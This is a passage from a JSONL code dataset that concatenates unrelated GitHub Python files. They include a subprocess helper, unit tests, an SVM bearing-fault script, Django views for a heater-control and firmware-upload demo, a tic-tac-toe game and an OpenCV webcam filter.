ver_array = []\n for k, v in self.db_dict.items():\n ver_array.append({\n 'version': k,\n 'code': v,\n })\n demjson.encode_to_file('database.json', ver_array, overwrite=True)\n","repo_name":"weichen2046/wechat_apk_downloader","sub_path":"version_helper.py","file_name":"version_helper.py","file_ext":"py","file_size_in_byte":5059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72560703629","text":"import logging\nfrom subprocess import PIPE, STDOUT, CalledProcessError, run\n\n# pylint: disable=invalid-name\nlog = logging.getLogger(__name__)\n\n\ndef execute_shell(command, is_shell=True, cwd=\".\", suppress_errors=False):\n output = \"\"\n log.debug(\"--- executing shell command ----\")\n log.debug(\"setting working dir to: %s\", cwd)\n log.debug(\"command: %s\", str(command))\n try:\n cp = run(\n command,\n shell=is_shell,\n cwd=cwd,\n stderr=STDOUT,\n check=True,\n stdout=PIPE,\n universal_newlines=True,\n )\n log.debug(\"cp = %s\", str(cp))\n output = cp.stdout.strip()\n log.debug(\"output = %s\", output)\n except CalledProcessError as err:\n log.error(\n \"Error Info:\\nerror code = %s\\ncmd %s\\nerror message:%s\",\n err.returncode,\n err.cmd,\n err.output,\n )\n if not suppress_errors:\n raise\n finally:\n log.debug(\"---- shell execution finished ---\")\n return output\n","repo_name":"clintmod/ubiquiti-load-balancer-monitor","sub_path":"src/ubiquiti_monitor/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"37188741171","text":"def test_dryrun(project):\n basemodel = \"\"\"\n import testmodule\n\n r = testmodule::Resource(agent=\"a\", name=\"IT\", key=\"k\", value=\"write\")\n \"\"\"\n\n project.compile(basemodel)\n\n changes = project.dryrun_resource(\"testmodule::Resource\")\n assert changes == {\"value\": {\"current\": \"read\", \"desired\": \"write\"}}\n","repo_name":"inmanta/pytest-inmanta","sub_path":"examples/testmodule/tests/test_dryrun.py","file_name":"test_dryrun.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"32302068169","text":"import pytz\nimport re\nimport logging\n\nfrom datetime import datetime\n\n\ndef get_now_datetime_cst():\n central = pytz.timezone('America/Chicago')\n now = datetime.now()\n return central.localize(now)\n\n\ndef parse_loc_string(loc_string):\n pattern = re.compile(r'x=(?P[0-9\\.-]+).*z=(?P[0-9\\.-]+).*:\\s(?P[0-9\\.-]+).*(?P/loc[0-9\\.\\s-]+)')\n\n matches = re.match(pattern, loc_string)\n if matches is None:\n return None, None, None\n\n matches = matches.groupdict()\n\n lat = matches.get('x_cord', None)\n lng = matches.get('z_cord', None)\n heading = matches.get('heading', None)\n cmd_string = matches.get('cmd', None)\n\n if lat is None or lng is None:\n cmd_args = cmd_string.split(' ')\n lat = cmd_args[1]\n lng = cmd_args[3]\n\n return float(lat), float(lng), float(heading)","repo_name":"robrocker7/h1z1map","sub_path":"server/lib/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"8441268004","text":"from sklearn import svm\nimport joblib # 保存/加载模型\nimport os\n\nimport torch\nimport torch.nn as nn\nimport numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom sklearn.decomposition import PCA\nfrom proto_data_utils.Data_generator_normalize import data_generate\nfrom proto_data_utils.train_utils import set_seed\nfrom proto_data_utils.my_utils import umap_fun2\nfrom proto_data_utils.plot_utils import tSNE_fun\n\ndevice = torch.device('cuda:0')\n# device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n# vis = visdom.Visdom(env='yancy_env')\ngenerator = data_generate()\nDIM = 1024\nTr_Epochs = 1\nLoad = [0, 1]\n\n\n# 2020.11.5\n# ------------------------ DASMN paper: Tools---------------\ndef plot_adaptation(x_s, x_t, shot):\n x = np.concatenate((x_s, x_t), axis=0) # [n, dim]\n print('CW2SQ labels used for t-sne!')\n labels = ['NC-s', 'IF-s', 'OF-s', 'NC-t', 'IF-t', 'OF-t'] # CW2SQ\n tSNE_fun(x, shot=shot, name=None, labels=labels, n_dim=2)\n\n\ndef check_creat_new(path):\n if os.path.exists(path):\n split_f = os.path.split(path)\n new_f = os.path.join(split_f[0], split_f[1][:-4] + '(1).svg')\n new_f = check_creat_new(new_f) # in case that the new file exist\n else:\n new_f = path\n return new_f\n\n\ndef sample_shuffle(data):\n \"\"\"\n required: data.shape [Nc, num, data_len...]\n :param data: [[Nc, num, data_len...]]\n \"\"\"\n np.random.seed(0)\n for k in range(data.shape[0]):\n np.random.shuffle(data[k])\n return data\n# ------------------------------------------------------\n\n\ndef feature_extract_16(x):\n N = x.shape[0] # dimension\n mean = np.mean(x) # p1\n std = np.std(x, ddof=1) # 分母变为N-1 p2\n # root_mean = np.sqrt(sum([i ** 2 for i in x]) / N) # p3\n square_root = pow(sum([np.sqrt(abs(i)) for i in x]) / N, 2) # p3\n ab_mean = np.mean(abs(x)) # p4\n skew = np.mean([i ** 3 for i in x]) # p5\n kurt = np.mean([i ** 4 for i in x]) # p6\n var = np.var(x) # p7\n max_x = max(abs(x)) # p8\n min_x = min(abs(x)) # p9\n p2p = max_x - min_x # p10\n wave = std / ab_mean # p11\n pulse = max_x / ab_mean\n peak = max_x / std\n margin = max_x / square_root\n skew_ind = skew / pow(np.sqrt(var), 3)\n kurt_ind = kurt / pow(np.sqrt(var), 2)\n\n x = np.array([mean, std, square_root, ab_mean, skew, kurt, var, max_x,\n min_x, p2p, wave, pulse, peak, margin, skew_ind, kurt_ind])\n\n return x\n\n\n# 设置画图过程中,图像的最小值 与最大值取值\ndef extend(a, b, r):\n x = a - b\n m = (a + b) / 2\n return m - r * x / 2, m + r * x / 2\n\n\nclass SVM(nn.Module):\n def __init__(self):\n super().__init__()\n self.clf = svm.SVC(C=1, gamma='auto', kernel='rbf', decision_function_shape='ovr')\n # self.clf = svm.SVC(C=10, gamma='auto', kernel='linear', decision_function_shape='ovo') # better\n\n def operate_fun(self, x_tr, y_tr, x_te, y_te, save_path):\n order = input('Train SVM? y/n\\n')\n if order == 'y' or order == 'Y':\n print('\\nTraining!')\n self.clf.fit(x_tr, y_tr)\n acc_tr = self.clf.score(x_tr, y_tr) # 精度\n self.save_fn(save_path)\n print('train_acc', acc_tr)\n print('\\nTesting!')\n self.load_fn(save_path)\n acc_te = self.clf.score(x_te, y_te)\n print('test_acc', acc_te)\n\n def plot_svm(self, x, y):\n clf = self.clf\n x1_min, x2_min = np.min(x, axis=0)\n x1_max, x2_max = np.max(x, axis=0)\n x1_min, x1_max = extend(x1_min, x1_max, 1.05)\n x2_min, x2_max = extend(x2_min, x2_max, 1.05)\n x1, x2 = np.mgrid[x1_min:x1_max:500j, x2_min:x2_max:500j]\n x_test = np.stack((x1.flat, x2.flat), axis=1)\n y_test = clf.predict(x_test)\n y_test = y_test.reshape(x1.shape)\n cm_light = mpl.colors.ListedColormap(['#A0FFA0', '#FFA0A0', '#A0A0FF'])\n cm_dark = mpl.colors.ListedColormap(['g', 'r', 'b'])\n mpl.rcParams['font.sans-serif'] = [u'SimHei']\n mpl.rcParams['axes.unicode_minus'] = False\n plt.figure(facecolor='w')\n plt.pcolormesh(x1, x2, y_test, cmap=cm_light)\n plt.scatter(x[:, 0], x[:, 1], s=100, c=y, edgecolors='k', cmap=cm_dark, alpha=0.8)\n plt.xlim((x1_min, x1_max))\n plt.ylim((x2_min, x2_max))\n # plt.grid(b=True)\n # plt.tight_layout(pad=2.5)\n # plt.title(u'SVM多分类方法:One/One or One/Other', fontsize=18)\n # plt.legend(['NC', 'IF', 'OF'])\n plt.show()\n\n def save_fn(self, path):\n joblib.dump(self.clf, path)\n print(f'Save svm at: {path}.')\n\n def load_fn(self, path):\n self.clf = joblib.load(path)\n print(f'Load svm from: {path}.')\n\n\ndef show_tSNE(f_s, f_t):\n \"\"\"\n 2020/07/12 22:58 yancy_f\n :param f_s: features of source data [n, dim]\n :param f_t: features of target data [n, dim]\n :return:\n \"\"\"\n f = np.concatenate((f_s, f_t), axis=0)\n print('f-shape', f.shape)\n # f = torch.cat((f_s, f_t), dim=0) # [n, dim]\n\n print('CW2SQ labels used for t-sne!')\n labels = ['NC-s', 'IF-s', 'OF-s', 'NC-t', 'IF-t', 'OF-t'] # CW2SQ\n # print('CW2SA labels used for t-sne!')\n # labels = ['NC-s', 'OF-s', 'ReF-s', 'NC-t', 'OF-t', 'ReF-t'] # CW2SA\n umap_fun2(f, shot=50, name=None, labels=labels, n_dim=2)\n plt.show()\n\n\ndef main(way, split):\n set_seed(23)\n model = SVM() # .to(device)\n Norm = False\n # CW: NC, IF, OF, RoF\n # train_x, train_y, _, _ = generator.CW_10way(way=way, order=Load[0], examples=200, split=split,\n # normalize=Norm, data_len=DIM, SNR=None, label=True)\n # _, _, test_x, test_y = generator.CW_10way(way=way, order=Load[1], examples=200, split=0,\n # normalize=Norm, data_len=DIM, SNR=None, label=True)\n\n # CW2SQ\n # --for DA tSNE---\n # n_this = 50 # 50 for t-SNE; 10/30/50/100 for comparison\n # split = 50\n\n train_x, train_y, _, _ = generator.CW_cross(way=way, examples=100, split=split, normalize=Norm,\n data_len=DIM, SNR=None, label=True, set='sq')\n _, _, test_x, test_y = generator.SQ_37way(examples=100, split=0, way=way, data_len=DIM,\n normalize=Norm, label=True)\n\n # train_x, train_y, test_x, test_y = generator.EB_3_13way(examples=200, split=0, way=way,\n # order=3, normalize=True, label=False)\n\n # CW2SA\n # train_x, train_y, _, _ = generator.CW_cross(way=way, examples=100, split=split, normalize=Norm,\n # data_len=DIM, SNR=None, label=True, set='sa')\n # _, _, test_x, test_y = generator.SA_37way(examples=200, split=0, way=way, data_len=DIM,\n # normalize=Norm, label=True)\n\n # print(test_x.shape, test_y.shape)\n # exit()\n sample_shuffle(test_x)\n test_x, test_y = test_x[:, :split], test_y[:, :split]\n train_x, test_x = train_x.reshape([-1, DIM]), test_x.reshape([-1, DIM])\n train_y, test_y = train_y.reshape(-1), test_y.reshape(-1)\n print('{} samples/class'.format(split))\n # train_x = PCA(n_components=2).fit_transform(train_x)\n # test_x = PCA(n_components=2).fit_transform(X=test_x)\n print('\\nCalculate the feature!')\n train_x = np.array([feature_extract_16(i) for i in train_x])\n test_x = np.array([feature_extract_16(i) for i in test_x])\n\n print('Train data {}, label {}'.format(train_x.shape, train_y.shape))\n print('Test data {}, label {}'.format(test_x.shape, test_y.shape))\n\n # ----for tSNE-----\n # show_tSNE(train_x, test_x)\n save_fig_path = r\"C:\\Users\\Asus\\Desktop\\MyWork\\paper_DASMN\\DASMN_KBS_revised\\figure\\case_tsne\\SVM\\SVM_Csq_30.svg\"\n plot_adaptation(train_x, test_x, shot=split)\n plt.show()\n order = input('Save fig? Y/N\\n')\n if order == 'y' or order == 'Y':\n plot_adaptation(train_x, test_x, shot=split)\n new_path = check_creat_new(save_fig_path)\n plt.savefig(new_path, dpi=600, format='svg', bbox_inches='tight', pad_inches=0.01)\n print('Save t-SNE.eps to \\n', new_path)\n exit()\n\n model.operate_fun(x_tr=train_x, y_tr=train_y, x_te=test_x, y_te=test_y)\n # model.plot_svm(test_x[:, :2], test_y)\n # x = x[:, :2]\n\n\nif __name__ == \"__main__\":\n import time\n\n way = 3\n split = 50\n t0 = time.time()\n Load = [3, 0]\n main(way=way, split=split)\n print('Total time: [{}]s'.format(time.time() - t0))\n","repo_name":"fyancy/DASMN","sub_path":"Comparison_model/venv/Include/SVM_model.py","file_name":"SVM_model.py","file_ext":"py","file_size_in_byte":8583,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"82"} +{"seq_id":"849870118","text":"from .disjunction import Disjunction, Count\nfrom .voting import MajorityVote, MostSpecific\n\nENSEMBLES = {\n 'disjunction' : Disjunction,\n 'count': Count,\n 'majority-vote' : MajorityVote,\n 'most-specific' : MostSpecific\n}\n\nfrom difflib import get_close_matches\n\ndef ensemble_from_string(string):\n candidates = get_close_matches(string, ENSEMBLES.keys(), n=1)\n return ENSEMBLES[candidates[0]]\n","repo_name":"csmith49/motifs","sub_path":"analysis/ensemble/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"40113688378","text":"from solum.objects import registry\nfrom solum.objects.sqlalchemy import service\nfrom solum.tests import base\nfrom solum.tests import utils\n\n\nclass TestService(base.BaseTestCase):\n def setUp(self):\n super(TestService, self).setUp()\n self.db = self.useFixture(utils.Database())\n self.ctx = utils.dummy_context()\n self.data = [{'project_id': 'fake_project_id',\n 'user_id': 'fred',\n 'uuid': '12345678abcdefgh',\n 'name': 'service1',\n 'description': 'test service',\n 'service_type': 'language_pack'}]\n utils.create_models_from_data(service.Service, self.data, self.ctx)\n\n def test_objects_registered(self):\n self.assertTrue(registry.Service)\n self.assertTrue(registry.ServiceList)\n\n def test_get_all(self):\n lst = service.ServiceList()\n self.assertEqual(1, len(lst.get_all(self.ctx)))\n\n def test_check_data(self):\n test_srvc = service.Service().get_by_id(self.ctx, self.data[0]['id'])\n for key, value in self.data[0].items():\n self.assertEqual(value, getattr(test_srvc, key))\n","repo_name":"openstack/solum","sub_path":"solum/tests/objects/test_service.py","file_name":"test_service.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","stars":102,"dataset":"github-code","pt":"82"} +{"seq_id":"19740591400","text":"import guess\nimport forca\n\nprint('*******************************')\nprint('***Bem vindo a sala de jogos***')\nprint('****Qual jogo deseja jogar?****')\nprint('(1)Forca e (2) Adivinhação')\n\ngame = 0\nwhile game != 1 and game !=2:\n game = int(input('Digite a opção \\n'))\n\nif game == 1:\n print('Jogando Forca')\n forca()\nelif game == 2:\n print('Jogando adivinhação')\n guess.game()","repo_name":"Luiz-Prudente/Introduce-and-learningprojects","sub_path":"PythonEstruturada/jogos.py","file_name":"jogos.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14093606122","text":"from django.urls import include, path\nfrom . import views\n\napp_name = 'app'\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('detail/', views.detail, name='detail'),\n path('hapus/', views.hapus, name='hapus'),\n path('tambah', views.add, name='add')\n]\n","repo_name":"nethaniasonya/sysprog","sub_path":"home/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"13012914766","text":"# Some standard Django stuff\r\nfrom django.http import HttpResponse, HttpResponseRedirect, Http404\r\nfrom django.template import Context, loader\r\nfrom django.shortcuts import render_to_response\r\nfrom django.views.decorators.csrf import csrf_exempt\r\nfrom utils.publicutil import *\r\nfrom django.template import RequestContext\r\nfrom django.contrib.auth.decorators import login_required \r\nfrom django.forms import ModelForm\r\nfrom webapi.models import Husers, Mcuversion\r\nfrom django.utils.translation import ugettext_lazy as _\r\nfrom django.contrib.auth import authenticate, login as auth_login, logout as auth_logout\r\nfrom webapi.serializers import McuversionSerializer\r\nimport os,hashlib,json\r\n\r\n# list of mobile User Agents\r\nmobile_uas = [\r\n 'w3c ','acs-','alav','alca','amoi','audi','avan','benq','bird','blac',\r\n 'blaz','brew','cell','cldc','cmd-','dang','doco','eric','hipt','inno',\r\n 'ipaq','java','jigs','kddi','keji','leno','lg-c','lg-d','lg-g','lge-',\r\n 'maui','maxo','midp','mits','mmef','mobi','mot-','moto','mwbp','nec-',\r\n 'newt','noki','oper','palm','pana','pant','phil','play','port','prox',\r\n 'qwap','sage','sams','sany','sch-','sec-','send','seri','sgh-','shar',\r\n 'sie-','siem','smal','smar','sony','sph-','symb','t-mo','teli','tim-',\r\n 'tosh','tsm-','upg1','upsi','vk-v','voda','wap-','wapa','wapi','wapp',\r\n 'wapr','webc','winw','winw','xda','xda-'\r\n ]\r\n \r\nmobile_ua_hints = [ 'SymbianOS', 'Opera Mini', 'iPhone' ,'Mobile']\r\n \r\n\r\ndef mobileBrowser(request):\r\n #Super simple device detection, returns True for mobile devices\r\n \r\n mobile_browser = False\r\n ua = request.META['HTTP_USER_AGENT'].lower()[0:4]\r\n \r\n if (ua in mobile_uas):\r\n mobile_browser = True\r\n else:\r\n for hint in mobile_ua_hints:\r\n if request.META['HTTP_USER_AGENT'].find(hint) > 0:\r\n mobile_browser = True\r\n \r\n return mobile_browser\r\n\r\nclass UserForm(ModelForm):\r\n class Meta:\r\n model = Husers\r\n fields = ['username','password']\r\n labels = {\r\n 'username': _('Name'),\r\n }\r\n \r\ndef register(request):\r\n if request.method == \"POST\":\r\n try:\r\n uf = UserForm(request.POST)\r\n except Exception as e:\r\n return HttpResponse(e)\r\n reguser = uf.save(commit=False)\r\n reguser.password = reguser.hashed_password(reguser.password)\r\n reguser.save()\r\n #if uf.is_valid()\r\n return render_to_response('login_logout.html',{\"register_result_tag\":True,\"username\":uf.cleaned_data['username']})\r\n else:\r\n uf = UserForm()\r\n return render_to_response('login_logout.html',{\"register_tag\":True,\"uf\":uf})\r\n \r\ndef login(request):\r\n redirect_to = request.REQUEST.get(\"next\",'/demo')\r\n if request.method == \"POST\":\r\n try:\r\n uf = UserForm(request.POST)\r\n except Exception as e:\r\n return HttpResponse(e)\r\n if uf.is_valid(): \r\n username = uf.cleaned_data['username']\r\n password = uf.cleaned_data['password']\r\n loguser = authenticate(username=username, password=password)\r\n if loguser is not None:\r\n if loguser.is_active:\r\n auth_login(request, loguser)\r\n # Redirect to a success page.\r\n return HttpResponseRedirect(redirect_to,{\"username\":username})\r\n else:\r\n # Return a 'disabled account' error message\r\n return render_to_response('login_logout.html',{\"login_msg\":\"user is inactive\"})\r\n else:\r\n # Return an 'invalid login' error message.\r\n return render_to_response('login_logout.html',{\"login_msg\":\"username or password not correct\"})\r\n else:\r\n return render_to_response('login_logout.html')\r\n \r\ndef logout(request):\r\n auth_logout(request)\r\n return render_to_response('login_logout.html')\r\n \r\ndef index(request):\r\n if not request.user.is_authenticated():\r\n return HttpResponseRedirect('/demo/login/?next=%s' % request.path)\r\n return render_to_response('home.html',{\"username\":request.user})\r\n\r\n@csrf_exempt \r\ndef deliverCmd(request):\r\n if mobileBrowser(request) == True:\r\n return render_to_response('phone_home.html',{\"username\":\"tianqing\",\"name\":\"heater\",\"close_form\":True})\r\n else:\r\n return render_to_response('desktop.html',{\"username\":\"tianqing\",\"name\":\"heater\",\"close_form\":True})\r\n #deviceid = request.POST.get('deviceid')\r\n #publicutil.set_cmd_flag(deviceid,1)\r\n #return HttpResponseRedirect('/webapi/device/'+deviceid)\r\n\r\n#jquery ajax\r\ndef get_device_status(request):\r\n if request.method == \"GET\":\r\n deviceid = request.GET.get('deviceid')\r\n if deviceid == None:\r\n return HttpResponse(\"deviceid is invalid\")\r\n \r\n try:\r\n cmd = get_cmd_flag(deviceid)\r\n except:\r\n return JSONResponse({\"Error\":\"The deviceid is not exsit\"},status=200)\r\n \r\n #mcucmd = Mcucmd.objects.get(cmdid = cmd.cmdid); \r\n \r\n if cmd.cmdid != 0:\r\n return HttpResponse(\"open\")\r\n else:\r\n return HttpResponse(\"close\") \r\n \r\n#jquery ajax\r\ndef set_device_status(request):\r\n deviceid = request.GET.get('deviceid')\r\n cmd_flag = request.GET.get('cmd_flag')\r\n\r\n if deviceid == None or cmd_flag == None:\r\n return HttpResponse(\"format is invalid\")\r\n \r\n mcucmd = Mcucmd.objects.get(cmdid=cmd_flag)\r\n if mcucmd == None:\r\n return HttpResponse(\"cmdid is invalid\")\r\n \r\n try:\r\n flag = set_cmd_flag(deviceid,mcucmd)\r\n except Exception as err:\r\n return HttpResponse(str(err))\r\n \r\n return HttpResponse((flag==True) and \"success\" or \"failed\")\r\n\r\n \r\n@csrf_exempt \r\ndef docs(request): \r\n if not request.user.is_authenticated():\r\n return HttpResponseRedirect('/demo/login/?next=%s' % request.path) \r\n return render_to_response('heater_details.html',{\"username\":request.user});\r\n \r\n@csrf_exempt \r\ndef project(request): \r\n if not request.user.is_authenticated():\r\n return HttpResponseRedirect('/demo/login/?next=%s' % request.path)\r\n return render_to_response('project.html',{\"username\":request.user}); \r\n\r\n@csrf_exempt \r\ndef debug(request):\r\n if not request.user.is_authenticated():\r\n return HttpResponseRedirect('/demo/login/?next=%s' % request.path) \r\n return render_to_response('debug.html',{\"username\":request.user}); \r\n \r\n \r\nfrom django import forms\r\nfrom heater.settings import BASE_DIR\r\n\r\nclass UploadFileForm(forms.Form):\r\n hardtype = forms.ChoiceField(choices=((\"EMW3161\",\"EMW3161\"),(\"EMW3162\",\"EMW3162\")))\r\n versionid = forms.CharField()\r\n comments = forms.CharField()\r\n upfile = forms.FileField()\r\n \r\n\r\n@csrf_exempt \r\ndef handle_uploaded_file(upfile,hardtype,versionid,comments):\r\n #filename=upfile.name\r\n \r\n if hardtype==\"EMW3161\":\r\n filename=\"EMW3161_\"+versionid+\".bin\"\r\n path='/static/demo/bin/EMW3161/'\r\n else:\r\n filename=\"EMW3162_\"+versionid+\".bin\"\r\n path='/static/demo/bin/EMW3162/' \r\n \r\n# if hdtype==\"EMW3161\":\r\n# winurl = '\\\\static\\\\demo\\\\bin\\\\EMW3161\\\\'+filename\r\n# elif hdtype==\"EMW3162\":\r\n# winurl = '\\\\static\\\\demo\\\\bin\\\\EMW3162\\\\'+filename\r\n# else:\r\n# return 0 \r\n winurl=path+filename\r\n filepath=BASE_DIR+winurl\r\n\r\n with open(filepath, 'wb+') as destination:\r\n for chunk in upfile.chunks():\r\n destination.write(chunk)\r\n destination.close()\r\n \r\n versionid = versionid\r\n try:\r\n md5file=open(filepath,'rb')\r\n except:\r\n return JSONResponse({'Error':'The md5 colulate failed !'},status=200)\r\n filesize=os.path.getsize(filepath)\r\n md5 = hashlib.md5(md5file.read()).hexdigest()\r\n md5file.close() \r\n \r\n mcuversion=Mcuversion(versionid=versionid,filename=filename,path=path,md5=md5,size=filesize,hardtype=hardtype,comments=comments,update=False)\r\n try:\r\n mcuversion.save()\r\n except:\r\n return JSONResponse({'Error':'The file saved failed !'},status=200)\r\n \r\n@csrf_exempt\r\ndef backstage(request): \r\n if not request.user.is_authenticated():\r\n return HttpResponseRedirect('/demo/login/?next=%s' % request.path)\r\n \r\n mcuversions = Mcuversion.objects.all()\r\n serializer = McuversionSerializer(mcuversions,many=True) \r\n \r\n if request.method == 'POST':\r\n try:\r\n form = UploadFileForm(request.POST, request.FILES)\r\n except Exception as e:\r\n return HttpResponse(e)\r\n \r\n if form.is_valid():\r\n versionid = form.cleaned_data['versionid']\r\n versions = Mcuversion.objects.all().filter(versionid=versionid)\r\n if len(versions) > 0:\r\n return render_to_response('backstage.html',{'upload_tag': \"This versionid is already exist\",\"mcuversions\":serializer.data})\r\n \r\n handle_uploaded_file(request.FILES['upfile'],form.cleaned_data['hardtype'],form.cleaned_data['versionid'],form.cleaned_data['comments'])\r\n #return HttpResponseRedirect('/demo/home/')\r\n return render_to_response('backstage.html',{'upload_tag': \"Upload success !\",\"mcuversions\":serializer.data})\r\n else:\r\n return render_to_response('backstage.html',{'upload_tag': \"Upload Error\",\"mcuversions\":serializer.data})\r\n else:\r\n form = UploadFileForm() \r\n \r\n return render_to_response('backstage.html',{'form': form,\"username\":request.user,\"mcuversions\":serializer.data})\r\n\r\n@csrf_exempt\r\ndef updateMcuVersion(request):\r\n if request.method == 'POST':\r\n try:\r\n req = json.loads(request.body)\r\n #data = JSONParser().parse(request)\r\n #versionid = request.POST.get(\"versionid\",\"\")\r\n except:\r\n return HttpResponse({\"Error\":request.body})\r\n \r\n \r\n versionid = req['versionid']\r\n \r\n try:\r\n Mcuversion.objects.all().update(update=False)\r\n except:\r\n return JSONResponse({\"result\":\"update db error !\"})\r\n \r\n try:\r\n myversion = Mcuversion.objects.get(versionid=versionid);\r\n myversion.update = True\r\n myversion.save()\r\n except:\r\n return JSONResponse({\"result\":\"update db error !\"})\r\n \r\n \r\n \r\n return JSONResponse({\"result\":\"Update success !\"})\r\n else:\r\n return JSONResponse({\"result\":\"only for post\"})\r\n \r\n@csrf_exempt\r\ndef shutdownUpdate(request):\r\n try:\r\n Mcuversion.objects.all().update(update=False)\r\n except:\r\n return JSONResponse({\"result\":\"update db error !\"})\r\n \r\n mcuversions = Mcuversion.objects.all()\r\n serializer = McuversionSerializer(mcuversions,many=True) \r\n \r\n form = UploadFileForm() \r\n \r\n return render_to_response('backstage.html',{'form': form,\"username\":request.user,\"mcuversions\":serializer.data})","repo_name":"jonasun/heater","sub_path":"demo/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"74587423307","text":"import random\n\n\ndef shift_buf_tail_left_to_index(buf, buf_len, cut_index):\n for ii in range(cut_index + 1, buf_len):\n buf[ii - 1] = buf[ii]\n\n\ndef main():\n # получаем массив красивых круглых случайных чисел ))\n buf = [random.randint(1, 9) * 10 for _ in range(20)]\n print(buf)\n\n # удаляем дубликаты\n i_look_at, cur_length = 0, len(buf)\n while i_look_at < cur_length:\n for ii in range(i_look_at + 1, cur_length):\n if buf[i_look_at] == buf[ii]:\n shift_buf_tail_left_to_index(buf, cur_length, i_look_at)\n cur_length -= 1\n break\n else:\n i_look_at += 1\n\n # используем\n print(buf[:cur_length])\n\n\nmain()\n","repo_name":"shigr78/python-algorithms","sub_path":"aa-remove-doubles/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2210644188","text":"from jogo import *\nfrom time import sleep\nfrom random import randint\n\n\ndef linha():\n print('-=' * 30)\n\n\ndef encerramento():\n print('\\nEncerrando...')\n sleep(1)\n print('Programa encerrado!')\n\n\nplayer1 = player2 = nome = jogada = nome_jogador_da_vez = escolha_jogador_da_vez = ''\n\njogo_interrompido = False\n\ntabuleiro = JogoDaVelha()\n\n\njogadores_criados = 1\nwhile True:\n try:\n\n if jogadores_criados == 1:\n\n while True:\n nome = str(input(f'Nome do jogador {jogadores_criados}: ')).title().strip()\n\n if nome != '':\n player1 = Jogador(nome=nome, escolha='x')\n jogadores_criados += 1\n break\n print('Digite um nome válido!')\n\n if jogadores_criados == 2:\n\n while True:\n nome = str(input(f'Nome do jogador {jogadores_criados}: ')).title().strip()\n\n if nome != '':\n player2 = Jogador(nome=nome, escolha='o')\n jogadores_criados += 1\n break\n print('Digite um nome válido!')\n\n except KeyboardInterrupt:\n encerramento()\n jogo_interrompido = True\n break\n\n break\n\nquem_comeca = randint(1, 2)\nif quem_comeca == 1:\n nome_jogador_da_vez = player1.nome\n escolha_jogador_da_vez = player1.escolha\n\nif quem_comeca == 2:\n nome_jogador_da_vez = player2.nome\n escolha_jogador_da_vez = player2.escolha\n\nprint('\\nA jogada deve ser a união entre os índices de coluna e célula (A1, A2, ...)')\n\nif not jogo_interrompido:\n while True:\n\n linha()\n tabuleiro.representacao_tabuleiro()\n linha()\n\n if tabuleiro.fim_de_jogo():\n\n escolha_jogador_vencedor_ou_empate = tabuleiro.fim_de_jogo()[1]\n\n if escolha_jogador_vencedor_ou_empate == 'X':\n print(f'Parabéns, {player1.nome}!! Você venceu.')\n elif escolha_jogador_vencedor_ou_empate == 'O':\n print(f'Parabéns, {player2.nome}!! Você venceu.')\n elif escolha_jogador_vencedor_ou_empate == 'EMPATE':\n print('Parece que houve um empate!!')\n\n break\n\n while True:\n try:\n\n jogada = str(input(f'Sua vez {nome_jogador_da_vez} ({escolha_jogador_da_vez}): ')).strip().upper()\n\n if jogada in tabuleiro.tabuleiro.keys():\n break\n print('Escolha uma opção válida')\n except KeyboardInterrupt:\n encerramento()\n jogo_interrompido = True\n break\n\n if jogo_interrompido:\n break\n\n if nome_jogador_da_vez == player1.nome:\n tabuleiro.joga(jogada, player1.escolha)\n\n nome_jogador_da_vez = player2.nome\n escolha_jogador_da_vez = player2.escolha\n continue\n\n if nome_jogador_da_vez == player2.nome:\n tabuleiro.joga(jogada, player2.escolha)\n\n nome_jogador_da_vez = player1.nome\n escolha_jogador_da_vez = player1.escolha\n","repo_name":"marcelo1339/pratica_python","sub_path":"p9_jogo_da_velha_OO/jogando.py","file_name":"jogando.py","file_ext":"py","file_size_in_byte":3086,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41872197957","text":"import numpy as np\nimport cv2\n\ncap = cv2.VideoCapture(0)\nlaplaciano = np.array((\n\t[0, 1, 0],\n\t[1, -4, 1],\n\t[0, 1, 0]), dtype=\"int\")\nwhile(True):\n ret, frame = cap.read()\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n #canny = cv2.Canny(gray,100,200)\n\t\n opencvOutput = cv2.filter2D(gray, -1, laplaciano)\n cv2.imshow('frame',opencvOutput)\n cv2.imshow('camera',gray)\n tecla = cv2.waitKey(1)\n if tecla == ord('q'):\n break\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"engenhariadesoftwareuepg/exemplosPDI2019","sub_path":"B01E04/camera.py","file_name":"camera.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"32425560692","text":"from __future__ import division, print_function\n\nfrom collections import namedtuple, OrderedDict\nimport numpy as np\nimport pandas as pd\nimport patsy\nfrom sklearn.linear_model import LinearRegression, LogisticRegression\nfrom scipy.spatial.distance import 